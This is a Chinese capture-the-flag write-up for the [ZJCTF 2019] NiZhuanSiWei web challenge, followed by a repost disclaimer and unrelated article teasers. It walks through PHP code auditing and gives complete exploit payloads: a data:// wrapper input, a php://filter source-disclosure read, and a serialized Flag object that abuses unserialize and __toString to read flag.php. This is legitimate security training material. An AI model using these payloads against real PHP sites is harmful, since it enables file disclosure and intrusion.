web:[ZJCTF 2019]NiZhuanSiWei1

题目

点进题目,网页显示如下,需要代码审计

  • $_GET["text"]$_GET["file"]来获取传入的两个参数textfile
  • 使用isset()函数来检查$text变量是否已设置并且不为null。如果设置了并且不为null,则执行下面的逻辑。
  • 在下面的逻辑中,脚本使用file_get_contents()函数读取$text指定的文件内容,并将其与字符串"welcome to the zjctf"进行比较。如果相等,则输出文件内容并继续执行下面的逻辑。
  • preg_match()函数来检查$file变量中是否包含字符串"flag"。如果包含,则输出Not now!并退出脚本。否则,继续执行下面的逻辑。
  • 使用include()函数来包含$file指定的文件(useless.php)。然后,使用unserialize()函数对$password进行反序列化,并将结果赋值给$password变量。最后,输出$password的值。
  • 如果在步骤2中检查到$text变量未设置或为null,或者在步骤3中文件内容不等于"welcome to the zjctf",则输出脚本本身的源代码。

file_get_contents是得读取到文件里的内容,而$text是一个变量,file_get_contents不能读取一个变量,所以必须让变量伪装成一个文件,就得使用php伪协议中的 data://协议,就是把字符串包装成一个文件来执行

在代码页面发现了useless.php,访问过后什么都没有空白一片

判断可能需要php://filter读取,通过以上判断需要php伪协议

先使用data://协议匹配第一个内容,则payload为

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

if(preg_match("/flag/",$file))

这里限制了file=flag.php

但是下面还提示了一个useless.php,则payload为

file=php://filter/read=convert.base64-encode/resource=useless.php

还要加上上一个的payload

显示如下,base64解码即可

解码后显示如下

根据上述信息,构造一个代码


<?phpclass Flag{  public $file='flag.php';}$a=new Flag;echo serialize($a) ;
?>

据题目给的代码,需要将代码序列化之后,会赋值给password,password会被反序列化成原来的代码再赋值给password,然后echo $password,这里构造的php代码(file)就是一个类,通过base64解码之后得到代码中_tostring这个函数,在类被echo会被调用,就相当于echo 了一个类,就会触发到我们写的代码里的tostring

所以构造payload为

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

加上之前的payload

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码

参考文章链接:

[ZJCTF 2019]NiZhuanSiWei 1-CSDN博客

[ZJCTF 2019]NiZhuanSiWei1 详解_[zjctf 2019]nizhuansiwei 1-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/219516.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux内核--内存管理(一)任务空间管理

目录 一、引言 二、基本概念梳理 三、用户态进程内存管理 ------>3.1、用户态 ------>3.2、内核态 ------>3.3、内存管理结构 ------>3.4、mm_struct ------>4.5、vm_area_struct 四、内核态结构 ------>4.1、32位内核态结构 ------>4.2、64位…

交叉编译 和 软硬链接 的初识(面试重点)

目录 交叉编译的初认识Q&A Q1: 编译是什么&#xff1f; Q2: 交叉编译是什么&#xff1f; Q3: 为什么要交叉编译 Q3.1&#xff1a;树莓派相对于C51大得多&#xff0c;可以集成编译器比如gcc&#xff0c;那么树莓派就不需要交叉编译了吗&#xff1f; Q4: 什么是宿主机和…

2023年05月 Scratch(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Scratch等级考试(1~4级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 关于变量,下列描述错误的是?( ) A:只能建一个变量 B:变量可以隐藏 C:变量可以删除 D:变量的值可以修改 答案:A 考察变量相关操作,包括新建、删除变量,可以设定变量值以…

JavaScript基础—运算符、表达式和语句、分支语句、循环语句、综合案例-ATM存取款机

版本说明 当前版本号[20231125]。 版本修改说明20231125初版 目录 文章目录 版本说明目录JavaScript 基础 - 第2天运算符算术运算符赋值运算符自增/自减运算符比较运算符逻辑运算符运算符优先级 语句表达式和语句分支语句if 分支语句if双分支语句if 多分支语句三元运算符&am…

Python大数据考题

Python大数据考题&#xff1a; 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle&#xff0c;尤其sql要…

摆脱无用代码的负担:TreeShaking 的魔力

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

智能优化算法应用:基于蝗虫算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于蝗虫算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于蝗虫算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.蝗虫算法4.实验参数设定5.算法结果6.参考文献7.MATLAB…

Typescript基础面试题 | 02.精选 ts 面试题

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

#define例题

我们已经学了#define的所有知识&#xff0c;让我们来看这道题&#xff0c;可不要又陷入陷阱 题目要求&#xff1a; #define N 4 #define Y(n) ((N2)*n) int main() {int z 2 * (N Y(5 1));printf("z%d\n", z);return 0; } 求这个z的值是多少&#xff1f; 我们直接…

项目去除git版本控制

我 | 在这里 &#x1f575;️ 读书 | 长沙 ⭐软件工程 ⭐ 本科 &#x1f3e0; 工作 | 广州 ⭐ Java 全栈开发&#xff08;软件工程师&#xff09; &#x1f383; 爱好 | 研究技术、旅游、阅读、运动、喜欢流行歌曲 ✈️已经旅游的地点 | 新疆-乌鲁木齐、新疆-吐鲁番、广东-广州…

详解Rust编程中的生命周期

1.摘要 生命周期在Rust编程中是一个重要概念, 它能确保引用像预期的那样一直有效。在Rust语言中, 每一个引用都有其生命周期, 通俗讲就是每个引用在程序执行的过程中都有其自身的作用域, 一旦离开其作用域, 其生命周期也宣告结束, 值不再有效。幸运的是, 在绝大多数时间里, 生…

智能优化算法应用:基于海鸥算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于海鸥算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于海鸥算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.海鸥算法4.实验参数设定5.算法结果6.参考文献7.MATLAB…